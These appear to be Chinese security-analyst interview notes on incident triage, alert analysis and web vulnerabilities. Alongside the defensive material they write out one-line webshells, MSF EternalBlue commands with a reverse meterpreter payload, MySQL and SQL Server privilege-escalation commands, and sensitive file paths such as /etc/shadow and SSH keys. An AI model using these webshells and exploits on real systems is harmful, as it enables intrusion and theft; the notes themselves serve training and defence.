第三步:查看命令执行记录 ~/.bash_history 分析近期是否有账户执行过恶意操作系统命令 ->
第四步:分析 /var/spool/mail/root Root 邮箱,当日志被删除可查询本文件 ->
第五步:分析中间件、Web 日志,如 access_log 文件 ->
第六步:调用命令 last/lastb 翻阅登录日志 ->
第七步:分析 /var/log/cron 文件查看历史计划任务,第八步 -> 分析 history 日志分析操作命令记录 ->
最后一步:分析 redis、sql server、mysql、oracle 等日志文件
Windows 入侵排查思路
第一步:检查系统账号安全(查看服务器是否有弱口令,Netstat 查看网络连接对应的进程, 再通过 tasklist 进行进程定位)->
第二步:查看系统登录日志,筛查 4776、4624(登录成功)事件进行分析 ->
第三步:使用命令 lusrmgr.msc 查看服务器是否存在可疑账号、新增账户 ->
第四步:使用 compmgmt.msc 查看本地用户组有没有隐藏账户 ->
第五步: 导出日志利用 Log Parser 查看管理员登录时间、用户是否存在异常 ->
第六步:运行 taskschd.msc 排查有无可疑的计划任务 ->
第七步:输入 %UserProfile%\Recent 分析最近打开过的可疑文件 ->
第八步:分析中间件日志,如 tomcat 的 logs 文件夹 localhost_access_log 日志文件 Appace 的 access.log 日志文件。
天眼告警主机外联的排查思路
- 主机外联主要判断主机请求的外网地址是否是恶意,或者是 dnslog 相关平台域名,若地址在威胁情报查询是恶意或请求 dnslog 相关域名次数较多,可判断主机异常。
天眼文件上传排查
- 看回显是否 200、有文件上传路径,是否有上传文件的访问成功日志
实机文件上传排查思路
- web 目录下做 webshell 扫描(工具可用 d 盾、河马 webshell 等)
- 查看 web 目录近期新增或修改的文件,排查是否有恶意文件。
如何分析排查钓鱼邮件事件
- 确认邮箱批量发送时间点
- 排查邮箱登录日志,发现[恶意 IP] 在[什么时间] 通过 web 登录成功:
- 查看邮件内容,确认钓鱼邮件的影响和目的;
- 排查浏览器或上网行为,判断是否访问过钓鱼页面
- 对访问过的设备进行全盘查杀。
告警相关
如何处理通用思路:
- 根据告警类型,分析回显特征是否利用成功。若数据包无法判断,可以复现漏洞判断。判断告警如果确实利用成功,立刻封禁 ip,进行排查。
- 查看威胁情报是否是恶意 IP/ 域名。
- 分析告警出现的频率是否频繁。
- 打开天眼分析中心 - 选择高级模式 - 输入 host(域名 /IP),判断域名是否持续被解析
哪个模块看告警的全部信息
- 威胁感知模块
sql 注入告警报文有什么特征
- 请求头或请求体存在 sql 查询相关的语句,若成功可能会有后台数据回显或者数据库报错回显
判断挖矿木马告警
- 如果从流量判断挖矿木马,需要确认是否有挖矿协议流量,常见的有 jsonrpc 之类的协议流量。
- 客户端 -> 服务端认证信息是否包含 version 等
- 如果是威胁情报告警,将目的 ip 地址放入到威胁检测平台做检测,看是否被打上矿池标签。
- 判断挖矿木马挖矿时间
- 判断挖矿木马的传播范围
- 了解网络部署环境
面对很多条告警首先关注哪些的告警
- 遇着这种情况一方面优先分析成功告警,再分析成功之外的其他高危告警,如 webshell、命令执行等等。最后分析剩余告警。同时对于攻击频率较高的攻击 ip 及时上报封堵,可有效减少告警量。
攻击成功却没有告警是什么情况
- 可能使用了 0day 或其他未知漏洞,这些不会被设备检测到
- 使用代理或其他技术隐藏了攻击来源
- 如何防护:使用入侵检测系统(IDS)和入侵防御系统(IPS)等安全设备来检测和组织攻击;实施网络隔离和访问控制策略,以限制攻击者的活动范围
文件上传 0day 没有任何告警,如何上机排查
(1)写个目录监控的脚本,如果有新文件直接咔擦掉
(2)根据文件创建的时间和后缀名
(3)webshell 查杀先扫一波网络目录
邮件服务器报事件告警有几种可能
邮件服务器告警有两种可能:
- 一是邮件服务器负责转发邮件至各个用户,所以钓鱼或病毒邮件接收端首先是邮件服务器 ip;
- 二是邮件服务器假设的网站存在漏洞可能被攻陷。
代理工具类告警应该如何判断
- 排除业务人员私自搭建代理的可能。
- 一般是黑客代理工具植入服务器做持久化控制,植入服务器之前,必定存在漏洞利用的情况,比如文件上传漏洞,命令执行漏洞。
- 查受害资产所有的告警,确定在代理工具告警前后有无其它告警。
用模糊搜索告警名称
- 使用 * 加部分名称进行检索
什么告警不能很快分析出来
- 部分 sql 注入无明显回显
- 利用 dnslog 执行命令
判断是否是真实攻击
通用思路
(1)检查日志
(2)分析攻击流量
(3)使用威胁情报平台,查看是否有相关的攻击记录
(4)使用漏扫,看有没有已知的漏洞
(5)使用安全监控工具,对系统进行实时监控
判断文件上传是不是真实攻击
(1)检查上传文件,是否包含恶意代码
(2)分析上传流量,是否符合已知攻击模式
(3)使用漏扫,查看是否有已知的漏洞
(4)使用安全监控工具,对系统进行监控
如何判断 sql 注入是不是真实攻击
- 查看请求头响应体,如果包含 and1= 1 或者是 sleep 等说明是有攻击的
- 再查看响应码,如果响应码为 404 说明没有成功,200 则大功率成功
- 检查日志文件:检查 web 服务器和数据库服务器的日志文件,查看是否有异常请求或错误
- 使用 sql 注入检测工具:sqlmap,检测 web 应用程序中的漏洞
- 检查输入:检查 web 应用程序中的输入字段
- 检查输出:检查 web 应用程序的输出,以确保它们不会泄露敏感信息
判断 webshell 是不是真实攻击
- 基于流量的 Webshell 检测:基于流量的 Webshell 检测方便部署,我们可通过流量镜像直接分析原始信息
- 基于 payload 的行为分析,我们不仅可对已知的 Webshell 进行检测,还可识别出未知的、伪装性强的 Webshell,对 Webshell 的访问特征(IP/UA/Cookie)、payload 特征、path 特征、时间特征等进行关联分析,以时间为索引,可还原攻击事件
- 基于文件的 Webshell 检测:我们通过检测文件是否加密(混淆处理),创建 Webshell 样本 hash 库,可对比分析可疑文件。对文件的创建时间、修改时间、文件权限等进行检测,以确认是否为 Webshell
- 基于日志的 Webshell 检测:对常见的多种日志进行分析,可帮助我们有效识别 Webshell 的上传行为等。通过综合分析,可回溯整个攻击过程
判断反序列化是不是真实攻击
- 通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的 0xACED
内存马
简介
内存马是无文件攻击的一种技术手段。无文件攻击可以有效地躲避传统安全软件的检测,它们可以在系统的内存中远程加载执行、驻留在注册表中或滥用常用的白名单工具,例如 PowerShell,Windows Management Instrumentation(WMI)和 PsExec 等。
Webshell 内存马,是在内存中写入恶意后门和木马并执行,达到远程控制 Web 服务器的一类内存马,其瞄准了企业的对外窗口:网站、应用。
内存马类型
1.servlet-api 型
通过命令执行等方式动态注册一个新的 listener、filter 或者 servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如 spring 的 controller 内存马,tomcat 的 valve 内存马
2. 字节码增强型
通过 java 的 instrumentation 动态修改已有代码,进而实现命令执行等功能。
内存马检测
注入 jar 包 -> dump 已加载 class 字节码 -> 反编译成 java 代码 -> 源码 webshell 检测。
检查开机启动项,检查注册表、服务或计划任务等开机启动项,确认是否存在可疑的程序或脚本。
或者 D 盾、冰河安全软件查杀。
内存马查杀
利用 java-memshell-scanner 或 findshell 脚本进行查杀
利用 java 的诊断工具 arthas 进行查杀
如果是 jsp 注入,日志中排查可疑 jsp 的访问请求。如果是代码执行漏洞,排查中间件的 error.log,查看是否有可疑的报错,判断注入时间和方法
根据业务使用的组件排查是否可能存在 java 代码执行漏洞以及是否存在过 webshell,排查框架漏洞,反序列化漏洞。如果是 servlet 或者 spring 的 controller 类型,根据上报的 webshell 的 url 查找日志(日志可能被关闭,不一定有),根据 url 最早访问时间确定被注入时间。如果是 filter 或者 listener 类型,可能会有较多的 404 但是带有参数的请求,或者大量请求不同 url 但带有相同的参数,或者页面并不存在但返回 200
渗透测试流程
(1)信息收集
a. 服务器的相关信息(真实 ip,系统类型,版本,开放端口,WAF 等)
b. 网站指纹识别(包括,cms,cdn,证书等),dns 记录
c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
d. 子域名收集,旁站查询(有授权可渗透),C 段等
e. google hacking 针对化搜索,pdf 文件,中间件版本,弱口令扫描等
f. 扫描网站目录结构,爆后台,网站 banner,测试文件,备份等敏感文件泄漏等
i. 传输协议,通用漏洞,exp,github 源码等
(2)制定攻击计划
利用已知的信息,制定一份目标可能存在漏洞地方的攻击计划
(3)漏洞测试 / 漏洞挖掘
a. 浏览网站,看看网站规模,功能,特点等
b. 端口,弱口令,目录等扫描
c. XSS,SQL 注入,命令注入,CSRF,cookie 安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授访问,目录遍历,文件包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等
(4)漏洞利用,权限提升
通过漏洞拿到 web 的权限,然后提升到最高权限,提权服务器,比如 windows 下 mysql 的 udf 提权,serv-u 提权,windows 低版本的漏洞,如 iis6,pr,巴西烤肉,linux 脏牛漏洞,linux 内核版本漏洞提权,linux 下的 mysql system 提权以及 oracle 低权限提权
(5)权限维持
通过创建后门、账户、计划任务等方式,达到权限维持
(6)内网扫描
通过相关的工具、命令,进行内网主机、端口探测,明文信息收集
(7)建立隧道代理
通过 msf 或者 nc 等相关代理工具,建立隧道
(8)内网攻击、权限提升
通过漏洞拿到一个账户,然后进行利用,提权
(9)痕迹清理
删除相关的 web、系统日志
(10)总结报告及修复方案
登陆页面渗透思路
sql 注入点及万能密码登录 or 1=1
查看登录页面源代码,看是否存在敏感信息泄露
验证码爆破
弱口令爆破
OA,邮件,默认账号等相关系统,查找针对性漏洞,框架漏洞
逻辑漏洞,例如忘记密码,任意重置密码。任意用户注册,手机号轰炸
越权漏洞,纵向、横向越权
验证码可能出现的问题
验证码可修改接受者:可将 A 账号的修改密码验证码接受者修改为 B,从而 B 可以重置 A 的账号密码
验证码失效的时间过长且简单,可爆破
验证码回显前端,抓包即可获得验证码
验证码不刷新
验证码图片过于简单,可以自动识别
ssh 加固思路
修改 SSH 的默认端口
使用基于公钥的认证方式
限制 SSH 协议版本,仅使用 SSHv2 协议,因为 SSHv1 存在已知的安全问题
限制身份验证尝试次数
设置超时自动断开连接
配置白名单,仅限白名单 ip 进行 ssh 连接
编辑 /etc/ssh/sshd_config 文件,根据需要启用或禁用特定的 SSH 功能和选项,如禁用不安全的认证方法、设置监听地址等
溯源相关
(1)安全设备报警
(2)威胁情报平台
(3)蜜罐系统
(4)日志和流量分析
(5)通过邮件钓鱼
(6)Ip 定位
已知攻击者 IP,如何溯源定位攻击人员?
- IP 反查注册信息,可能会查询到域名,通过域名查询备案和 whois 信息,可能会查出邮箱电话,通过社工库查询相关邮箱和电话信息定位人员
- 通过白泽系统查询 IP 情况,查看攻击者 IP 日常访问数据内容,判断攻击者人员信息
- 对 IP 进行扫描判断是否开放高危端口,渗透测试
- 如果是蜜罐捕获的攻击者,还可以通过蜜罐获得攻击者社交 ID
OWASP TOP 10
失效的访问控制
加密机制失效
注入(包括跨站脚本攻击 XSS 和 SQL 注入等)不安全设计
安全配置错误
自带缺陷和过时的组件
身份识别和身份验证错误
软件和数据完整性故障
安全日志和监控故障
服务端请求伪造 SSRF
条件竞争文件上传
上传文件源代码里没有校验上传的文件,文件直接上传,上传成功后才进行判断:如果文件格式符合要求,则重命名,如果文件格式不符合要求,将文件删除。由于服务器并发处理 (同时) 多个请求,假如 a 用户上传了木马文件,由于代码执行需要时间,在此过程中 b 用户访问了 a 用户上传的文件,会有以下三种情况:1. 访问时间点在上传成功之前,没有此文件。2. 访问时间点在刚上传成功但还没有进行判断,该文件存在。3. 访问时间点在判断之后,文件被删除,没有此文件。`
可以营造 10000 人同时上传文件 1.php,另外有 10000 人在同时访问这个 1.php;上传文件时,这个文件会有一段时间留存在服务器的上传目录下,而服务器脚本在进行判断文件是否合法而对文件进行删除时,会有一定的处理时间,可能在某个时间里,服务器还未来得及删除文件,从而导致我们对这个上传文件成功访问。
sql 注入相关
原理:
通过某种方式将恶意的 sql 代码添加到输入参数中,然后传递到 sql 服务器使其解析并执行的一种攻击手法。
漏洞产生的原因:
用户对 sql 查询语句参数可控
原本程序要执行的 SQL 语句,拼接了用户输入的恶意数据
SQL 注入的类型:
联合注入;堆叠注入;宽字节注入;cookie 注入;XFF 头注入;UA 注入(user-agent 注入);Referer 注入;二次注入;base64 注入;万能密码;文件读写;
盲注:
(1). 基于时间的盲注 sleep() benchmark()
(2). 基于布尔的注入 length() Sunstr() Mid() Left()
(3). 基于报错的注入 updatexml() extractvalue() floor() exp()
宽字节注入
有些 waf 会在我们的提交数据前会被加入 \,\ 的编码为 %5c, 我们在后面加上 %df 后变为了 %df%5c, 变成一个繁体汉字運,变成了一个有多个字节的字符。因为用了 gbk 编码,使这个为一个两字节,绕过了单引号闭合, 逃逸了转义
sql 注入危害
获取数据库数据;网页篡改;网页挂马;篡改数据库数据;获取服务器权限
mysql 上传 webshell
前提条件
需要知道远程目录
需要远程目录有写权限
上传目录是否有脚本执行限
secure_file_priv 为空(被注释掉或不填)或者 secure_file_priv 配置是目标目录地址(默认不开启,需要更改 my.ini)
方法:
在 union select 后拼接 into dumpfile 和 into outfile 来进行写 shell
lines terminated by 写入
Mysql 提权
UDF 提权
攻击者首先需要创建一个恶意的 UDF,写入可以执行系统命令的函数,这个函数通常是一个动态链接库文件(在 Windows 上通常是.dll 文件,在 Linux 上是.so 文件),将其上传到插件目录’mysql/lib/plugin’下。如 sys_eval 函数,使然后用 select sys_eval('whoami'); 即可。限制条件:1-MySQL 数据库没有开启安全模式(确认 secure_file_priv='' 是否为空)2- 已知的数据库账号具有对 MySQL 数据库 insert 和 delete 的权限,最好是 root 最高权限。3-shell 有写入到数据库安装目录的权限。4- 知道上传目录
MOF 提权:MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
sqlserver 提权
使用 xp_cmdshell 进行提权
前提条件:1、已得到 sql server 的 sa 权限
2、sql server 开启外连
过程:1. 使用 sa 权限开启 xp_cmdshell
2. 使用 xp_cmdshell 执行命令:EXEC master.dbo.xp_cmdshell 'whoami'
利用 sp_OACreate 和 sp_OAMethod 存储过程提权
通过 sp_OACreate 创建一个 OLE 自动化对象,例如:EXEC sp_OACreate 'WScript.Shell', @oShell。然后使用 sp_OAMethod 执行命令:EXEC sp_OAMethod @oShell, 'Run', NULL, 'cmd /c <command>'。注册表劫持
通过 xp_regwrite 存储过程修改注册表,劫持某些应用程序的启动项或功能。
mysql 时间注入更快的办法
二分法注入:这是一种提高布尔盲注效率的技术,也可以用于时间盲注。通过逐步缩小可能性范围,可以更快地确定正确的 payload。与运算加速:主要原理是目标字符转为 8 位二进制通过 1,2,4,8,16,32,64,128 各位 1 进行与运算比较,在比较后就能确定各个比特位具体数值从而推出答案。利用数据库的特定函数:不同的 MySQL 函数可以产生延迟,例如 GET_LOCK()和 RLIKE 正则匹配。了解这些函数并有效地利用它们可以在注入过程中节省时间。
防范 SQL 注入的方法和原理
预编译(数据库不会将参数的内容视为 SQL 命令执行,而是作为一个字段的属性值来处理)PDO 预处理 (本地和 Mysql 服务端使用字符集对输入进行转义)
正则表达式过滤 (如果用户输入了非法信息则利用正则表达式过滤)
SQL 服务运行于专门的账号,并且使用最小权限
限制 SQL 服务的远程访问,只开放给特定开发人员
SQL 预编译防止 SQL 注入
在编写 SQL 语句时,不直接将用户输入拼接到 SQL 语句字符串中,而是使用参数占位符(如?、@parameter_name 或命名参数)来表示输入值的位置。当参数化的 SQL 语句首次执行时,数据库会对语句的结构进行解析和编译,生成一个执行计划。在这个过程中,数据库只关注 SQL 语句的结构和逻辑,而不涉及具体的参数值。一旦 SQL 语句被预编译并生成执行计划,后续的执行可以重用这个计划,只需传入新的参数值即可。数据库会根据参数值的不同,安全地执行相应的操作,而不会执行任何未授权的 SQL 命令。
SQL 注入绕过
sql 注入 dnslog 外带
利用 UNC 路径去访问服务器,dns 会有日志,通过子查询,将内容拼接到域名内,利用 MYSQL 内置函数 load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入, 读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。注:load_file 函数在 Linux 下是无法用来做 dnslog 攻击的,涉及到 Windows 中的 UNC 路径。(linux 中不存在 UNC 路径)
sqlmap 的 –level 和 –risk 的区别
level 参数
-- level 参数决定了 sqlmap 在检测 SQL 注入时的努力程度
1. 测试 GET 和 POST 请求中的参数
2. 检查 cookie 里的数据
3.user-agent 和 referer 头部纳入检测范围
4-5. 尝试各种 payload 和边界条件, 确保不放过任何潜在的注入点
risk 参数
--risk 告诉 SQLMAP: 愿意承担多大的风险来进行这次测试
risk 1 : 风险几乎为 0
risk 2: 尝试时间型盲注
risk 3: 布尔盲注的产生 (谨慎)
risk 会使用 update 函数(有风险)区别:1. 方向不同: --level 广度挖掘 --risk 深度挖掘
2. 场景不同: 感觉默认监测点不够,--level 感觉就是某个位置某个注入点 --risk
XSS(跨站脚本攻击)
原理
攻击者在 Web 页面中注入恶意的 Script 代码,当用户浏览该网页时,嵌入的 Script 代码会被执行,从而达到攻击的目的。
类型
1. 反射型 XSS(非持续型):浏览器—服务器—浏览器
将用户输入的数据通过 URL 的形式直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据(黑客通常需要通过诱骗或者加密变形等方式,将恶意代码的链接发送给用户,用户触发后才能攻击成功)
2. 存储型 XSS(持续型):浏览器—服务器—数据库—服务器—浏览器(可直接产生大范围危害,具有较强的稳定性)
web 应用程序将用户输入的数据信息保存在服务端的数据库或者其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,只要用户访问具有 XSS 攻击脚本的网页时,就会触发攻击。
3.DOM 型 XSS:URL——> 浏览器(由于构造语句难度较大,比较少见)
是由 JavaScript 的 DOM 节点编程可以改变 HTML 代码的特性形成的 XSS 攻击,需要针对具体的 JavaScript DOM 代码进行分析,从而利用;它的攻击代码并不需要服务器解析响应,触发 XSS 靠的是浏览器端的 DOM 解析。
XSS 的利用方式(危害)
窃取 cookie
抓取屏幕截图
获取键盘记录
重定向
植入广告,恶意链接
网页钓鱼
网页挂马
结合网页挂马或者其他工具 (Metasploit) 获取服务器或者操作系统权限
XSS 的绕过方法
大小写转换;引号的使用;使用 / 代替空格;编码绕过(将字符进行十进制或者十六进制转码);双写绕过;使用制表符 换行符和回车符
使用 IMG 源
防范措施
- 对用户的输入进行过滤
- 使用 HttpOnly Cookie(无法通过 js 脚本将读取到 cookie 信息)
- 设置 X -XSS-Protection 属性
- 开启 CSP 网页安全策略
- 避免内联事件
csrf(跨站请求伪造)漏洞
CSRF原理
由客户端发起
web 应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单 token 或者 http 请求头中的 referer 值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。
攻击者构造一个恶意网页,当用户访问该网页时,会自动向目标网站发送一个请求,由于用户已经在目标网站上登录,所以该请求会带有用户的身份认证信息,如果目标网站没有进行 csrf 防护,那么就会执行该请求,从而导致安全问题。
CSRF 类型
- GET 型
- POST 型
CSRF 危害
- 盗用其他用户或者管理员的账号
- 获取个人隐私或者机密资料
- 联合其他漏洞组合拳
比如说拿到管理员账号之后,我们在某个页面利用 XSS 漏洞进行网页挂马,普通用户访问后就会下载木马程序,进而联合 MSF 或者 CS 等工具 getshell。再比如说你把管理员密码还原一下,真正管理员登录的时候也会受到网页挂马的影响,结合工具可以进一步拿下管理员主机权限。
CSRF 防范措施
- 验证码验证
- 在请求地址中添加随机 token 并验证
- 验证 HTTP 头的 Referer 字段
ssrf(服务器端请求伪造)
SSRF 原理
由服务器发起
当攻击者想要访问服务器 B 上的服务,但是由于存在防火墙或者服务器 B 是属于内网主机等原因导致攻击者无法直接访问。如果服务器 A 存在 SSRF 漏洞,这时攻击者可以借助服务器 A 来发起 SSRF 攻击,通过服务器 A 向主机 B 发起请求,达到攻击内网的目的。
SSRF 出现点
分享:通过 URL 地址分享网页内容
转码服务(通过 URL 地址把原地址的网页内容调优,使其适合手机屏幕的浏览)在线翻译
图片加载与下载:通过 URL 地址加载或下载图片
图片、文章收藏功能
未公开的 api 实现及调用 URL 的功能
从 URL 关键字中寻找
SSRF 利用的端口及协议
file(445)
ftp(21)
dict(2628)
http(80)
https(443)
gopher
php
SSRF 危害
(1). 内网探测:
如当某文件上传支持远程文件上传,则可以输入 http://127.0.0.1:3306 来检查端口是否开启
其中 IP 可以换成任意内网 ip 进行访问
可以通过爆破确定内网的 ip 和端口:
内网 ip:10.x.x.x 172.16.x.x 到 172.31.x.x 192.168.x.x
然后进行后续操作
(2). 内网应用攻击:
攻击运行在内网或者本地的应用程序(利用跨协议通信技术),比如 redis、mysql 等等只能本地访问的应用
攻击 redis:利用 6379 端口,使用 dict 协议向 Redis 数据库写 shell
(3). 文件读取:
常用协议:file(445),ftp(21),dict(2628),gopher,php,http(80),https(443)等
如查看本地文件:file:///C:/x.txt 或?url=file:///flag
(4).dos 攻击:
请求大文件,始终保持连接 keep-alive always
(5). 获取网站真实 ip:
网站往往都有 CDN,通过 SSRF 抓包可以获取真实 ip
SSRF 漏洞绕过
使用短链接
采用 302 跳转
使用能解析到本地的公共域名
使用其他进制的 ip
添加一些 url 标志混淆
句号绕过
利用 @绕过限制白名单域名:利用 @,当网站限制只能访问 http://www.xxx.com 类型的域名时,可以采用 http 基本身份认证的方式绕过,如:http://www.xxx.com@www.xxc.com
SSRF 防范
- 禁止跳转
- 对输入进行过滤,如 ”/”,”:” 等
- 过滤返回的信息
- 统一错误信息
- 限制请求的端口
- 禁止除 HTTP 和 HTTPS 外的协议
- 对请求地址设置白名单或者限制内网 IP
CSRF、SSRF 和重放攻击有什么区别?
CSRF 是跨站请求伪造攻击,由客户端发起,攻击者可以利用用户的 Cookie 信息伪造用户请求发送至服务器。SSRF 是服务器端请求伪造,由服务器发起,服务器对用户提供的可控 URL 过于信任,没有对攻击者提供的 RUL 进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。重放攻击是将截获的数据包进行重放,达到身份认证等目的。
CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取 Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer.
XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。
xxe(XML 外部实体注入)
原理
XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击
怎样构建 XXE 攻击
直接通过 DTD 外部实体声明
通过 DTD 文档引入外部 DTD 文档,再引入外部实体声明
通过 DTD 外部实体声明引入外部实体声明
危害
任意文件读取
系统命令执行
执行远程代码
DOS 拒绝服务攻击
内网端口探测
攻击内网网站
钓鱼
防范
- 禁用外部实体的引入
比如 PHP 语言中使用 libxml_disable_entity_loader(true); 等方式。
Python 语言中使用
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- 过滤如 SYSTEM 等敏感关键字,防止非正常、攻击性的外部实体引入操作。
常见读取的敏感文件路径
windows
C:\boot.ini // 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件
C:\Windows\repair\sam // 存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\my.ini //Mysql 配置信息
Linux
/root/.ssh/authorized_keys // 如需登录到远程主机,需要到.ssh 目录下,新建 authorized_keys 文件,并将 id_rsa.pub 内容复制进去
/root/.ssh/id_rsa //ssh 私钥,ssh 公钥是 id_rsa.pub
/root/.ssh/id_ras.keystore // 记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh 会把每个访问过计算机的公钥 (public key) 都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH 会核对公钥。如果公钥不同,OpenSSH 会发出警告,避免你受到 DNS Hijack 之类的攻击。/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache 配置文件
/etc/redhat-release 系统版本
/root/.bash_history // 用户历史命令记录文件
/root/.mysql_history //mysql 历史命令记录文件
/var/lib/mlocate/mlocate.db // 全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts // 记录系统挂载设备
/porc/config.gz // 内核配置文件
/porc/self/cmdline // 当前进程的 cmdline 参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的 pid
/proc/pid/cmdline 则可以看到对应 pid 进程的完整命令行。
什么是 CRLF 注入攻击
通过”回车”和“换行”字符注入 HTTP 流,实现网站篡改、跨站脚本、劫持等。
水坑攻击和鱼叉攻击
水坑攻击: 分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,将网站攻破并植入恶意程序,等待目标访问。
鱼叉攻击: 指利用木马程序作为电子邮件的附件,发送到目标电脑上,诱导受害者去打开附件来感染木马。
永恒之蓝漏洞(ms17-010)
- 使用了 smb 协议
- 永恒之蓝漏洞通过 TCP 的 445 和 139 端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放 445 文件共享端口的 Windows 主机。
- 永恒之蓝漏洞查看日志的特征:利用端口为 445,且存在很多系统命令执行的流量,且该资产存在被端口扫描的告警。安全日志中,存在 4624 登录成功日志,登录类型为 3。
什么是 ioc
ioc 是指失陷指标 / 特征
可以反应主机和网络失陷特征信息,这些信息入侵工具、恶意软件和攻击组织的属性,如邮箱、域名、IP、URL、文件名、文件 hash、证书和签名等,简称 IOCs。
威胁情报包含 IOC
常见的威胁情报平台:360,qax,微步,安恒,绿盟
webshell
一种恶意脚本,其目的是获得对服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除 web 页面、修改主页等
webshell 原理:
- 通过上传 Webshell 文件,利用 Web 服务器的漏洞或者其他安全弱点,让 Webshell 文件在服务器上得以执行。
常见后缀及一句话木马
php: <?php @eval($_POST['xxx']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
jsp: <%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
常见管理工具:
- 菜刀,蚁剑,冰蝎,哥斯拉
常用 webshell 检查工具
- D 盾防火墙
- 百度 WEBDIR+
- WebShellkiller
- WEBSHELL.PUB 专注查杀
- CloudWalker(牧云)
- WebShell Detector
- BugScaner killwebshell
webshell 怎么分析
- webshell 类告警看请求 url 是否是脚本文件,以及 post 数据是否是 webshell 流量特征,响应包是否有命令执行结果回显
拿到 webshell 不出网情况下怎么办
reg 上传去正向连接,将流量正向代理出来。或探测出网协议,如 dns,icmp。
Metasploit(msf)相关
- Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。
- MSF 所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程:
Auxiliary(辅助模块)为渗透测试信息搜集提供了大量的辅助模块支持
###
Exploits(攻击模块)利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。###
Payload(攻击载荷模块)攻击成功后促使靶机运行的一段植入代码
###
Post(后渗透攻击模块)收集更多信息或进一步访问被利用的目标系统
###
Encoders(编码模块)将攻击载荷进行编码,来绕过防护软件拦截
设备上怎么分析的
- 可能会存在执行系统命令的相关告警或 shell 告警
msf 利用 ms17-010(永恒之蓝)漏洞
扫描:use auxiliary/scanner/smb/smb_ms17_010(加载扫描 exp)set RHOSTS 10.101.2.11(设置被扫描 IP)run(进行扫描,观察是否存在该漏洞)
攻击:use exploit/windows/smb/ms17_010_eternalblue (加载攻击模块)
set RHOST 10.101.2.11(被攻击机 IP)set LHOST 192.168.207.130(设置本地 IP)set LPORT 4444(设置连接端口)
set payload windows/x64/meterpreter/reverse_tcp(配置回链方式)
常用工具流量特征
蚁剑
base64,aes 加密
流量中最明显的特征为 @ini_set(“display_errors”,”0″)
冰蝎
冰蝎 2.0 强特征是 accept 里面有个 q=.2
冰蝎 3.0 Content-Type: application/octet-stream
冰蝎 4.0 ua 头 referer 头 accept 默认 aes128 密文长度 16 整数倍,在 accept 中一般接受的是 application/json 和 text/javascript,且有长连接
(1)内置十多个默认的 ua(user-agent)头,可以自定义,当用户没有定义时将从系统中随机选择
(2)冰蝎数据包总是伴随着大量的 content-type: application/octet-stream;
(3)content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload 都为定长。
菜刀
早期版本明文传输,后面是 base64 加密。
请求包中:ua 头为百度爬虫
请求体中存在 eval,base64 等特征字符
请求体中传递的 payload 为 base64 编码,并且存在固定的 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
哥斯拉
- Cookie 最后有一个分号
